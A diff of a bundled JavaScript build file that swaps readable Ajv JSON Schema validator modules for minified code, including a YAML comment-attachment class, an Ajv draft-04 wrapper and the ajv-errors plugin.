t10.splice(e14, 1)); + } + this.comments = s8; + } } - if (formatDef === true) - return; - const [fmtType, format5, fmtRef] = getFormat(formatDef); - if (fmtType === ruleType) - cxt.pass(validCondition()); - function unknownFormat() { - if (opts.strictSchema === false) { - self2.logger.warn(unknownMsg()); - return; + getStartPosition(e12) { + return null === e12.parent ? 0 : e12.kind === c7.Kind.MAPPING ? e12.key.startPosition : e12.startPosition; + } + getEndPosition(e12) { + switch (e12.kind) { + case c7.Kind.MAPPING: + return null === e12.value ? e12.endPosition : this.getEndPosition(e12.value); + case c7.Kind.MAP: + return 0 === e12.mappings.length ? e12.endPosition : e12.mappings[e12.mappings.length - 1].endPosition; + case c7.Kind.SEQ: { + if (0 === e12.items.length) + return e12.endPosition; + const t10 = e12.items[e12.items.length - 1]; + return null === t10 ? e12.endPosition : t10.endPosition; + } + default: + return e12.endPosition; } - throw new Error(unknownMsg()); - function unknownMsg() { - return `unknown format "${schema8}" ignored in schema at path "${errSchemaPath}"`; + } + static mapComments(e12, t10) { + return e12.map((e13) => ({ value: e13.value, range: S6(t10, e13.startPosition, e13.endPosition), startPosition: e13.startPosition, endPosition: e13.endPosition })); + } + enter(e12, t10) { + return new P6(this.attachedComments, this.comments, e12, this.lineMap, void 0 === t10 ? this.pointer : `${this.pointer}/${t10}`); + } + static isLeading(e12, t10) { + switch (e12.kind) { + case c7.Kind.MAP: + return 0 === e12.mappings.length || e12.mappings[0].startPosition > t10; + case c7.Kind.SEQ: { + if (0 === e12.items.length) + return true; + const i9 = e12.items[0]; + return null === i9 || i9.startPosition > t10; + } + case c7.Kind.MAPPING: + return null === e12.value || e12.value.startPosition > t10; + default: + return false; } } - function getFormat(fmtDef) { - const code = fmtDef instanceof RegExp ? (0, codegen_1.regexpCode)(fmtDef) : opts.code.formats ? (0, codegen_1._)`${opts.code.formats}${(0, codegen_1.getProperty)(schema8)}` : void 0; - const fmt = gen.scopeValue("formats", { key: schema8, ref: fmtDef, code }); - if (typeof fmtDef == "object" && !(fmtDef instanceof RegExp)) { - return [fmtDef.type || "string", fmtDef.validate, (0, codegen_1._)`${fmt}.validate`]; + static isTrailing(e12, t10) { + switch (e12.kind) { + case c7.Kind.MAP: + return e12.mappings.length > 0 && t10 > e12.mappings[e12.mappings.length - 1].endPosition; + case c7.Kind.SEQ: + if (0 === e12.items.length) + return false; + const i9 = e12.items[e12.items.length - 1]; + return null !== i9 && t10 > i9.endPosition; + case c7.Kind.MAPPING: + return null !== e12.value && t10 > e12.value.endPosition; + default: + return false; } - return ["string", fmtDef, fmt]; } - function validCondition() { - if (typeof formatDef == "object" && !(formatDef instanceof RegExp) && formatDef.async) { - if (!schemaEnv.$async) - throw new Error("async format in sync schema"); - return (0, codegen_1._)`await ${fmtRef}(${data})`; + static findBetween(e12, t10, i9) { + switch (e12.kind) { + case c7.Kind.MAP: { + let n9; + for (const r9 of e12.mappings) + if (t10 > r9.startPosition) + n9 = r9.key.value; + else if (void 0 !== n9 && r9.startPosition > i9) + return [n9, r9.key.value]; + return null; + } + case c7.Kind.SEQ: { + let n9; + for (let r9 = 0; r9 < e12.items.length; r9++) { + const o8 = e12.items[r9]; + if (null !== o8) { + if (t10 > o8.startPosition) + n9 = String(r9); + else if (void 0 !== n9 && o8.startPosition > i9) + return [n9, String(r9)]; + } + } + return null; + } + default: + return null; } - return typeof format5 == "function" ? (0, codegen_1._)`${fmtRef}(${data})` : (0, codegen_1._)`${fmtRef}.test(${data})`; } - } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/vocabularies/format/index.js -var require_format2 = __commonJS({ - "node_modules/ajv/dist/vocabularies/format/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var format_1 = require_format(); - var format5 = [format_1.default]; - exports28.default = format5; - } -}); - -// node_modules/ajv/dist/vocabularies/metadata.js -var require_metadata = __commonJS({ - "node_modules/ajv/dist/vocabularies/metadata.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.contentVocabulary = exports28.metadataVocabulary = void 0; - exports28.metadataVocabulary = [ - "title", - "description", - "default", - "deprecated", - "readOnly", - "writeOnly", - "examples" - ]; - exports28.contentVocabulary = [ - "contentMediaType", - "contentEncoding", - "contentSchema" - ]; - } -}); - -// node_modules/ajv/dist/vocabularies/draft2020.js -var require_draft2020 = __commonJS({ - "node_modules/ajv/dist/vocabularies/draft2020.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var core_1 = require_core2(); - var validation_1 = require_validation(); - var applicator_1 = require_applicator(); - var dynamic_1 = require_dynamic(); - var next_1 = require_next(); - var unevaluated_1 = require_unevaluated(); - var format_1 = require_format2(); - var metadata_1 = require_metadata(); - var draft2020Vocabularies = [ - dynamic_1.default, - core_1.default, - validation_1.default, - (0, applicator_1.default)(true), - format_1.default, - metadata_1.metadataVocabulary, - metadata_1.contentVocabulary, - next_1.default, - unevaluated_1.default - ]; - exports28.default = draft2020Vocabularies; - } -}); - -// node_modules/ajv/dist/vocabularies/discriminator/types.js -var require_types = __commonJS({ - "node_modules/ajv/dist/vocabularies/discriminator/types.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - exports28.DiscrError = void 0; - var DiscrError; - (function(DiscrError2) { - DiscrError2["Tag"] = "tag"; - DiscrError2["Mapping"] = "mapping"; - })(DiscrError || (exports28.DiscrError = DiscrError = {})); - } -}); - -// node_modules/ajv/dist/vocabularies/discriminator/index.js -var require_discriminator = __commonJS({ - "node_modules/ajv/dist/vocabularies/discriminator/index.js"(exports28) { - "use strict"; - init_dirname(); - init_buffer2(); - init_process2(); - Object.defineProperty(exports28, "__esModule", { value: true }); - var codegen_1 = require_codegen(); - var types_1 = require_types(); - var compile_1 = require_compile(); - var ref_error_1 = require_ref_error(); - var util_1 = require_util(); - var error2 = { - message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, - params: ({ params: { discrError, tag, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag}}` - }; - var def = { - keyword: "discriminator", - type: "object", - schemaType: "object", - error: error2, - code(cxt) { - const { gen, data, schema: schema8, parentSchema, it: it2 } = cxt; - const { oneOf } = parentSchema; - if (!it2.opts.discriminator) { - throw new Error("discriminator: requires discriminator option"); - } - const tagName = schema8.propertyName; - if (typeof tagName != "string") - throw new Error("discriminator: requires propertyName"); - if (schema8.mapping) - throw new Error("discriminator: mapping is not supported"); - if (!oneOf) - throw new Error("discriminator: requires oneOf keyword"); - const valid = gen.let("valid", false); - const tag = gen.const("tag", (0, codegen_1._)`${data}${(0, codegen_1.getProperty)(tagName)}`); - gen.if((0, codegen_1._)`typeof ${tag} == "string"`, () => validateMapping(), () => cxt.error(false, { discrError: types_1.DiscrError.Tag, tag, tagName })); - cxt.ok(valid); - function validateMapping() { - const mapping = getMapping(); - gen.if(false); - for (const tagValue in mapping) { - gen.elseIf((0, codegen_1._)`${tag} === ${tagValue}`); - gen.assign(valid, applyTagSchema(mapping[tagValue])); + isBeforeEOL(e12) { + return this.node.kind === c7.Kind.SCALAR || this.node.kind === c7.Kind.MAPPING && e12.range.end.line === p7.lineForPosition(this.node.key.endPosition, this.lineMap); + } + attachComments() { + if (0 === this.comments.length) + return; + const e12 = this.attachedComments[this.pointer] = this.attachedComments[this.pointer] || []; + for (const t10 of this.comments) + if (this.isBeforeEOL(t10)) + e12.push({ value: t10.value, placement: "before-eol" }); + else if (P6.isLeading(this.node, t10.startPosition)) + e12.push({ value: t10.value, placement: "leading" }); + else if (P6.isTrailing(this.node, t10.endPosition)) + e12.push({ value: t10.value, placement: "trailing" }); + else { + const i9 = P6.findBetween(this.node, t10.startPosition, t10.endPosition); + null !== i9 ? e12.push({ value: t10.value, placement: "between", between: i9 }) : e12.push({ value: t10.value, placement: "trailing" }); + } } - gen.else(); - cxt.error(false, { discrError: types_1.DiscrError.Mapping, tag, tagName }); - gen.endIf(); - } - function applyTagSchema(schemaProp) { - const _valid = gen.name("valid"); - const schCxt = cxt.subschema({ keyword: "oneOf", schemaProp }, _valid); - cxt.mergeEvaluated(schCxt, codegen_1.Name); - return _valid; } - function getMapping() { - var _a2; - const oneOfMapping = {}; - const topRequired = hasRequired(parentSchema); - let tagRequired = true; - for (let i7 = 0; i7 < oneOf.length; i7++) { - let sch = oneOf[i7]; - if ((sch === null || sch === void 0 ? void 0 : sch.$ref) && !(0, util_1.schemaHasRulesButRef)(sch, it2.self.RULES)) { - const ref = sch.$ref; - sch = compile_1.resolveRef.call(it2.self, it2.schemaEnv.root, it2.baseId, ref); - if (sch instanceof compile_1.SchemaEnv) - sch = sch.schema; - if (sch === void 0) - throw new ref_error_1.default(it2.opts.uriResolver, it2.baseId, ref); - } - const propSch = (_a2 = sch === null || sch === void 0 ? void 0 : sch.properties) === null || _a2 === void 0 ? void 0 : _a2[tagName]; - if (typeof propSch != "object") { - throw new Error(`discriminator: oneOf subschemas (or referenced schemas) must have "properties/${tagName}"`); - } - tagRequired = tagRequired && (topRequired || hasRequired(sch)); - addMappings(propSch, i7); + }, 74958: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(85725); + t9.safeStringify = (e12, t10) => "string" == typeof e12 ? e12 : n8.safeDump(e12, t10); + }, 60519: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(93643); + t9.KEYS = Symbol.for(n8.ORDER_KEY_ID); + const r8 = { ownKeys: (e12) => t9.KEYS in e12 ? e12[t9.KEYS] : Reflect.ownKeys(e12) }; + t9.trapAccess = (e12) => new Proxy(e12, r8); + }, 82585: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(85725); + t9.Kind = n8.Kind, t9.ScalarType = n8.ScalarType; + }, 88725: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.isObject = (e12) => null !== e12 && "object" == typeof e12; + }, 67083: (e11) => { + "use strict"; + const { AbortController: t9, AbortSignal: i8 } = "undefined" != typeof self ? self : "undefined" != typeof window ? window : void 0; + e11.exports = t9, e11.exports.AbortSignal = i8, e11.exports.default = t9; + }, 33467: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.CodeGen = t9.Name = t9.nil = t9.stringify = t9.str = t9._ = t9.KeywordCxt = void 0; + const n8 = i8(65319), r8 = i8(61043), o7 = i8(11672), s7 = i8(20048), a7 = ["/properties"], p7 = "http://json-schema.org/draft-04/schema"; + class c7 extends n8.default { + constructor(e12 = {}) { + super({ ...e12, schemaId: "id" }); } - if (!tagRequired) - throw new Error(`discriminator: "${tagName}" must be required`); - return oneOfMapping; - function hasRequired({ required }) { - return Array.isArray(required) && required.includes(tagName); + _addVocabularies() { + super._addVocabularies(), r8.default.forEach((e12) => this.addVocabulary(e12)), this.opts.discriminator && this.addKeyword(o7.default); } - function addMappings(sch, i7) { - if (sch.const) { - addMapping(sch.const, i7); - } else if (sch.enum) { - for (const tagValue of sch.enum) { - addMapping(tagValue, i7); - } - } else { - throw new Error(`discriminator: "properties/${tagName}" must have "const" or "enum"`); - } + _addDefaultMetaSchema() { + if (super._addDefaultMetaSchema(), !this.opts.meta) + return; + const e12 = this.opts.$data ? this.$dataMetaSchema(s7, a7) : s7; + this.addMetaSchema(e12, p7, false), this.refs["http://json-schema.org/schema"] = p7; } - function addMapping(tagValue, i7) { - if (typeof tagValue != "string" || tagValue in oneOfMapping) { - throw new Error(`discriminator: "${tagName}" values must be unique strings`); - } - oneOfMapping[tagValue] = i7; + defaultMeta() { + return this.opts.defaultMeta = super.defaultMeta() || (this.getSchema(p7) ? p7 : void 0); } } - } - }; - exports28.default = def; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/schema.json -var require_schema = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/schema.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/schema", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/core": true, - "https://json-schema.org/draft/2020-12/vocab/applicator": true, - "https://json-schema.org/draft/2020-12/vocab/unevaluated": true, - "https://json-schema.org/draft/2020-12/vocab/validation": true, - "https://json-schema.org/draft/2020-12/vocab/meta-data": true, - "https://json-schema.org/draft/2020-12/vocab/format-annotation": true, - "https://json-schema.org/draft/2020-12/vocab/content": true - }, - $dynamicAnchor: "meta", - title: "Core and Validation specifications meta-schema", - allOf: [ - { $ref: "meta/core" }, - { $ref: "meta/applicator" }, - { $ref: "meta/unevaluated" }, - { $ref: "meta/validation" }, - { $ref: "meta/meta-data" }, - { $ref: "meta/format-annotation" }, - { $ref: "meta/content" } - ], - type: ["object", "boolean"], - $comment: "This meta-schema also defines keywords that have appeared in previous drafts in order to prevent incompatible extensions as they remain in common use.", - properties: { - definitions: { - $comment: '"definitions" has been replaced by "$defs".', - type: "object", - additionalProperties: { $dynamicRef: "#meta" }, - deprecated: true, - default: {} - }, - dependencies: { - $comment: '"dependencies" has been split and replaced by "dependentSchemas" and "dependentRequired" in order to serve their differing semantics.', - type: "object", - additionalProperties: { - anyOf: [{ $dynamicRef: "#meta" }, { $ref: "meta/validation#/$defs/stringArray" }] - }, - deprecated: true, - default: {} - }, - $recursiveAnchor: { - $comment: '"$recursiveAnchor" has been replaced by "$dynamicAnchor".', - $ref: "meta/core#/$defs/anchorString", - deprecated: true - }, - $recursiveRef: { - $comment: '"$recursiveRef" has been replaced by "$dynamicRef".', - $ref: "meta/core#/$defs/uriReferenceString", - deprecated: true + e11.exports = t9 = c7, Object.defineProperty(t9, "__esModule", { value: true }), t9.default = c7; + var d7 = i8(65319); + Object.defineProperty(t9, "KeywordCxt", { enumerable: true, get: function() { + return d7.KeywordCxt; + } }); + var f8 = i8(65319); + Object.defineProperty(t9, "_", { enumerable: true, get: function() { + return f8._; + } }), Object.defineProperty(t9, "str", { enumerable: true, get: function() { + return f8.str; + } }), Object.defineProperty(t9, "stringify", { enumerable: true, get: function() { + return f8.stringify; + } }), Object.defineProperty(t9, "nil", { enumerable: true, get: function() { + return f8.nil; + } }), Object.defineProperty(t9, "Name", { enumerable: true, get: function() { + return f8.Name; + } }), Object.defineProperty(t9, "CodeGen", { enumerable: true, get: function() { + return f8.CodeGen; + } }); + }, 73829: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = ["$schema", "id", "$defs", { keyword: "$comment" }, "definitions", i8(26138).default]; + t9.default = n8; + }, 61043: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(73829), r8 = i8(19986), o7 = i8(18225), s7 = i8(26699), a7 = [n8.default, r8.default, o7.default(), s7.default, ["title", "description", "default"]]; + t9.default = a7; + }, 19986: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(10592), r8 = i8(52674), o7 = i8(21230), s7 = i8(3936), a7 = i8(81005), p7 = i8(71589), c7 = i8(29594), d7 = i8(38558), f8 = i8(44058), l7 = i8(79520), u7 = i8(36742), m7 = [n8.default, r8.default, o7.default, s7.default, a7.default, p7.default, c7.default, d7.default, f8.default, { keyword: "type", schemaType: ["string", "array"] }, { keyword: "nullable", schemaType: "boolean" }, l7.default, u7.default]; + t9.default = m7; + }, 10592: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(65319), r8 = i8(17898).operators, o7 = { maximum: { exclusive: "exclusiveMaximum", ops: [{ okStr: "<=", ok: r8.LTE, fail: r8.GT }, { okStr: "<", ok: r8.LT, fail: r8.GTE }] }, minimum: { exclusive: "exclusiveMinimum", ops: [{ okStr: ">=", ok: r8.GTE, fail: r8.LT }, { okStr: ">", ok: r8.GT, fail: r8.LTE }] } }, s7 = { message: (e12) => n8.str`must be ${p7(e12).okStr} ${e12.schemaCode}`, params: (e12) => n8._`{comparison: ${p7(e12).okStr}, limit: ${e12.schemaCode}}` }, a7 = { keyword: Object.keys(o7), type: "number", schemaType: "number", $data: true, error: s7, code(e12) { + const { data: t10, schemaCode: i9 } = e12; + e12.fail$data(n8._`${t10} ${p7(e12).fail} ${i9} || isNaN(${t10})`); + } }; + function p7(e12) { + var t10; + const i9 = e12.keyword, n9 = (null === (t10 = e12.parentSchema) || void 0 === t10 ? void 0 : t10[o7[i9].exclusive]) ? 1 : 0; + return o7[i9].ops[n9]; } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/applicator.json -var require_applicator2 = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/applicator.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/applicator", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/applicator": true - }, - $dynamicAnchor: "meta", - title: "Applicator vocabulary meta-schema", - type: ["object", "boolean"], - properties: { - prefixItems: { $ref: "#/$defs/schemaArray" }, - items: { $dynamicRef: "#meta" }, - contains: { $dynamicRef: "#meta" }, - additionalProperties: { $dynamicRef: "#meta" }, - properties: { - type: "object", - additionalProperties: { $dynamicRef: "#meta" }, - default: {} - }, - patternProperties: { - type: "object", - additionalProperties: { $dynamicRef: "#meta" }, - propertyNames: { format: "regex" }, - default: {} - }, - dependentSchemas: { - type: "object", - additionalProperties: { $dynamicRef: "#meta" }, - default: {} - }, - propertyNames: { $dynamicRef: "#meta" }, - if: { $dynamicRef: "#meta" }, - then: { $dynamicRef: "#meta" }, - else: { $dynamicRef: "#meta" }, - allOf: { $ref: "#/$defs/schemaArray" }, - anyOf: { $ref: "#/$defs/schemaArray" }, - oneOf: { $ref: "#/$defs/schemaArray" }, - not: { $dynamicRef: "#meta" } - }, - $defs: { - schemaArray: { - type: "array", - minItems: 1, - items: { $dynamicRef: "#meta" } + t9.default = a7; + }, 52674: (e11, t9) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const i8 = { exclusiveMaximum: "maximum", exclusiveMinimum: "minimum" }, n8 = { keyword: Object.keys(i8), type: "number", schemaType: "boolean", code({ keyword: e12, parentSchema: t10 }) { + const n9 = i8[e12]; + if (void 0 === t10[n9]) + throw new Error(`${e12} can only be used with ${n9}`); + } }; + t9.default = n8; + }, 67156: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(11601), r8 = i8(17898), o7 = i8(83277), s7 = i8(96223), a7 = i8(49409), p7 = i8(63036), c7 = "errorMessage", d7 = new n8.Name("emUsed"), f8 = { required: "missingProperty", dependencies: "property", dependentRequired: "property" }, l7 = /\$\{[^}]+\}/, u7 = /\$\{([^}]+)\}/g, m7 = /^""\s*\+\s*|\s*\+\s*""$/g; + const h8 = (e12, t10 = {}) => { + if (!e12.opts.allErrors) + throw new Error("ajv-errors: Ajv option allErrors must be true"); + if (e12.opts.jsPropertySyntax) + throw new Error("ajv-errors: ajv option jsPropertySyntax is not supported"); + return e12.addKeyword(/* @__PURE__ */ function(e13) { + return { keyword: c7, schemaType: ["string", "object"], post: true, code(t11) { + const { gen: i9, data: h9, schema: y7, schemaValue: g7, it: b8 } = t11; + if (false === b8.createErrors) + return; + const v8 = y7, j6 = r8.strConcat(p7.default.instancePath, b8.errorPath); + function $5(e14, t12) { + return r8.and(n8._`${e14}.keyword !== ${c7}`, n8._`!${e14}.${d7}`, n8._`${e14}.instancePath === ${j6}`, n8._`${e14}.keyword in ${t12}`, n8._`${e14}.schemaPath.indexOf(${b8.errSchemaPath}) === 0`, n8._`/^\\/[^\\/]*$/.test(${e14}.schemaPath.slice(${b8.errSchemaPath.length}))`); + } + function x7(e14, t12) { + const n9 = []; + for (const i10 in e14) { + const e15 = t12[i10]; + l7.test(e15) && n9.push([i10, w6(e15)]); + } + return i9.object(...n9); + } + function _6(e14) { + return l7.test(e14) ? new o7._Code(o7.safeStringify(e14).replace(u7, (e15, t12) => `" + JSON.stringify(${s7.getData(t12, b8)}) + "`).replace(m7, "")) : n8.stringify(e14); + } + function w6(e14) { + return n8._`function(){return ${_6(e14)}}`; + } + i9.if(n8._`${p7.default.errors} > 0`, () => { + if ("object" == typeof v8) { + const [o9, s8] = function(e14) { + let t12, i10; + for (const n9 in e14) { + if ("properties" === n9 || "items" === n9) + continue; + const r9 = e14[n9]; + if ("object" == typeof r9) { + t12 || (t12 = {}); + const e15 = t12[n9] = {}; + for (const t13 in r9) + e15[t13] = []; + } else + i10 || (i10 = {}), i10[n9] = []; + } + return [t12, i10]; + }(v8); + s8 && function(r9) { + const o10 = i9.const("emErrors", n8.stringify(r9)), s9 = i9.const("templates", x7(r9, y7)); + i9.forOf("err", p7.default.vErrors, (e14) => i9.if($5(e14, o10), () => i9.code(n8._`${o10}[${e14}.keyword].push(${e14})`).assign(n8._`${e14}.${d7}`, true))); + const { singleError: c8 } = e13; + if (c8) { + const e14 = i9.let("message", n8._`""`), r10 = i9.let("paramsErrors", n8._`[]`); + f9((t12) => { + i9.if(e14, () => i9.code(n8._`${e14} += ${"string" == typeof c8 ? c8 : ";"}`)), i9.code(n8._`${e14} += ${l8(t12)}`), i9.assign(r10, n8._`${r10}.concat(${o10}[${t12}])`); + }), a7.reportError(t11, { message: e14, params: n8._`{errors: ${r10}}` }); + } else + f9((e14) => a7.reportError(t11, { message: l8(e14), params: n8._`{errors: ${o10}[${e14}]}` })); + function f9(e14) { + i9.forIn("key", o10, (t12) => i9.if(n8._`${o10}[${t12}].length`, () => e14(t12))); + } + function l8(e14) { + return n8._`${e14} in ${s9} ? ${s9}[${e14}]() : ${g7}[${e14}]`; + } + }(s8), o9 && function(e14) { + const r9 = i9.const("emErrors", n8.stringify(e14)), o10 = []; + for (const t12 in e14) + o10.push([t12, x7(e14[t12], y7[t12])]); + const s9 = i9.const("templates", i9.object(...o10)), c8 = i9.scopeValue("obj", { ref: f8, code: n8.stringify(f8) }), l8 = i9.let("emPropParams"), u8 = i9.let("emParamsErrors"); + i9.forOf("err", p7.default.vErrors, (e15) => i9.if($5(e15, r9), () => { + i9.assign(l8, n8._`${c8}[${e15}.keyword]`), i9.assign(u8, n8._`${r9}[${e15}.keyword][${e15}.params[${l8}]]`), i9.if(u8, () => i9.code(n8._`${u8}.push(${e15})`).assign(n8._`${e15}.${d7}`, true)); + })), i9.forIn("key", r9, (e15) => i9.forIn("keyProp", n8._`${r9}[${e15}]`, (o11) => { + i9.assign(u8, n8._`${r9}[${e15}][${o11}]`), i9.if(n8._`${u8}.length`, () => { + const r10 = i9.const("tmpl", n8._`${s9}[${e15}] && ${s9}[${e15}][${o11}]`); + a7.reportError(t11, { message: n8._`${r10} ? ${r10}() : ${g7}[${e15}][${o11}]`, params: n8._`{errors: ${u8}}` }); + }); + })); + }(o9), function(e14) { + const { props: o10, items: s9 } = e14; + if (!o10 && !s9) + return; + const f9 = n8._`typeof ${h9} == "object"`, l8 = n8._`Array.isArray(${h9})`, u8 = i9.let("emErrors"); + let m8, b9; + const v9 = i9.let("templates"); + function $6(e15, t12) { + i9.assign(u8, n8.stringify(e15)), i9.assign(v9, x7(e15, t12)); + } + o10 && s9 ? (m8 = i9.let("emChildKwd"), i9.if(f9), i9.if(l8, () => { + $6(s9, y7.items), i9.assign(m8, n8.str`items`); + }, () => { + $6(o10, y7.properties), i9.assign(m8, n8.str`properties`); + }), b9 = n8._`[${m8}]`) : s9 ? (i9.if(l8), $6(s9, y7.items), b9 = n8._`.items`) : o10 && (i9.if(r8.and(f9, r8.not(l8))), $6(o10, y7.properties), b9 = n8._`.properties`), i9.forOf("err", p7.default.vErrors, (e15) => function(e16, t12, o11) { + i9.if(r8.and(n8._`${e16}.keyword !== ${c7}`, n8._`!${e16}.${d7}`, n8._`${e16}.instancePath.indexOf(${j6}) === 0`), () => { + const r9 = i9.scopeValue("pattern", { ref: /^\/([^/]*)(?:\/|$)/, code: n8._`new RegExp("^\\\/([^/]*)(?:\\\/|$)")` }), s10 = i9.const("emMatches", n8._`${r9}.exec(${e16}.instancePath.slice(${j6}.length))`), a8 = i9.const("emChild", n8._`${s10} && ${s10}[1].replace(/~1/g, "/").replace(/~0/g, "~")`); + i9.if(n8._`${a8} !== undefined && ${a8} in ${t12}`, () => o11(a8)); + }); + }(e15, u8, (t12) => i9.code(n8._`${u8}[${t12}].push(${e15})`).assign(n8._`${e15}.${d7}`, true))), i9.forIn("key", u8, (e15) => i9.if(n8._`${u8}[${e15}].length`, () => { + a7.reportError(t11, { message: n8._`${e15} in ${v9} ? ${v9}[${e15}]() : ${g7}${b9}[${e15}]`, params: n8._`{errors: ${u8}[${e15}]}` }), i9.assign(n8._`${p7.default.vErrors}[${p7.default.errors}-1].instancePath`, n8._`${j6} + "/" + ${e15}.replace(/~/g, "~0").replace(/\\//g, "~1")`); + })), i9.endIf(); + }(function({ properties: e14, items: t12 }) { + const i10 = {}; + if (e14) { + i10.props = {}; + for (const t13 in e14) + i10.props[t13] = []; + } + if (t12) { + i10.items = {}; + for (let e15 = 0; e15 < t12.length; e15++) + i10.items[e15] = []; + } + return i10; + }(v8)); + } + const o8 = "string" == typeof v8 ? v8 : v8._; + o8 && function(e14) { + const o9 = i9.const("emErrs", n8._`[]`); + i9.forOf("err", p7.default.vErrors, (e15) => i9.if(function(e16) { + return r8.and(n8._`${e16}.keyword !== ${c7}`, n8._`!${e16}.${d7}`, r8.or(n8._`${e16}.instancePath === ${j6}`, r8.and(n8._`${e16}.instancePath.indexOf(${j6}) === 0`, n8._`${e16}.instancePath[${j6}.length] === "/"`)), n8._`${e16}.schemaPath.indexOf(${b8.errSchemaPath}) === 0`, n8._`${e16}.schemaPath[${b8.errSchemaPath}.length] === "/"`); + }(e15), () => i9.code(n8._`${o9}.push(${e15})`).assign(n8._`${e15}.${d7}`, true))), i9.if(n8._`${o9}.length`, () => a7.reportError(t11, { message: _6(e14), params: n8._`{errors: ${o9}}` })); + }(o8), e13.keepErrors || function() { + const e14 = i9.const("emErrs", n8._`[]`); + i9.forOf("err", p7.default.vErrors, (t12) => i9.if(n8._`!${t12}.${d7}`, () => i9.code(n8._`${e14}.push(${t12})`))), i9.assign(p7.default.vErrors, e14).assign(p7.default.errors, n8._`${e14}.length`); + }(); + }); + }, metaSchema: { anyOf: [{ type: "string" }, { type: "object", properties: { properties: { $ref: "#/$defs/stringMap" }, items: { $ref: "#/$defs/stringList" }, required: { $ref: "#/$defs/stringOrMap" }, dependencies: { $ref: "#/$defs/stringOrMap" } }, additionalProperties: { type: "string" } }], $defs: { stringMap: { type: "object", additionalProperties: { type: "string" } }, stringOrMap: { anyOf: [{ type: "string" }, { $ref: "#/$defs/stringMap" }] }, stringList: { type: "array", items: { type: "string" } } } } }; + }(t10)); + }; + t9.default = h8, e11.exports = h8, e11.exports.default = h8; + }, 65733: (e11, t9) => { + "use strict"; + function i8(e12, t10) { + return { validate: e12, compare: t10 }; } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/unevaluated.json -var require_unevaluated2 = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/unevaluated.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/unevaluated", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/unevaluated": true - }, - $dynamicAnchor: "meta", - title: "Unevaluated applicator vocabulary meta-schema", - type: ["object", "boolean"], - properties: { - unevaluatedItems: { $dynamicRef: "#meta" }, - unevaluatedProperties: { $dynamicRef: "#meta" } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/content.json -var require_content = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/content.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/content", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/content": true - }, - $dynamicAnchor: "meta", - title: "Content vocabulary meta-schema", - type: ["object", "boolean"], - properties: { - contentEncoding: { type: "string" }, - contentMediaType: { type: "string" }, - contentSchema: { $dynamicRef: "#meta" } - } - }; - } -}); - -// node_modules/ajv/dist/refs/json-schema-2020-12/meta/core.json -var require_core3 = __commonJS({ - "node_modules/ajv/dist/refs/json-schema-2020-12/meta/core.json"(exports28, module5) { - module5.exports = { - $schema: "https://json-schema.org/draft/2020-12/schema", - $id: "https://json-schema.org/draft/2020-12/meta/core", - $vocabulary: { - "https://json-schema.org/draft/2020-12/vocab/core": true - }, - $dynamicAnchor: "meta", - title: "Core vocabulary meta-schema", - type: ["object", "boolean"], - properties: { - $id: { - $ref: "#/$defs/uriReferenceString", - $comment: "Non-empty fragments not allowed.", - pattern: "^[^#]*#?$" - }, - $schema: { $ref: "#/$defs/uriString" }, - $ref: { $ref: "#/$defs/uriReferenceString" }, - $anchor: { $ref: "#/$defs/anchorString" }, - $dynamicRef: { $ref: "#/$defs/uriReferenceString" }, - $dynamicAnchor: { $ref: "#/$defs/anchorString" }, - $vocabulary: { - type: "object", - propertyNames: { $ref: "#/$defs/uriString" }, - additionalProperties: { - type: "boolean" + Object.defineProperty(t9, "__esModule", { value: true }), t9.formatNames = t9.fastFormats = 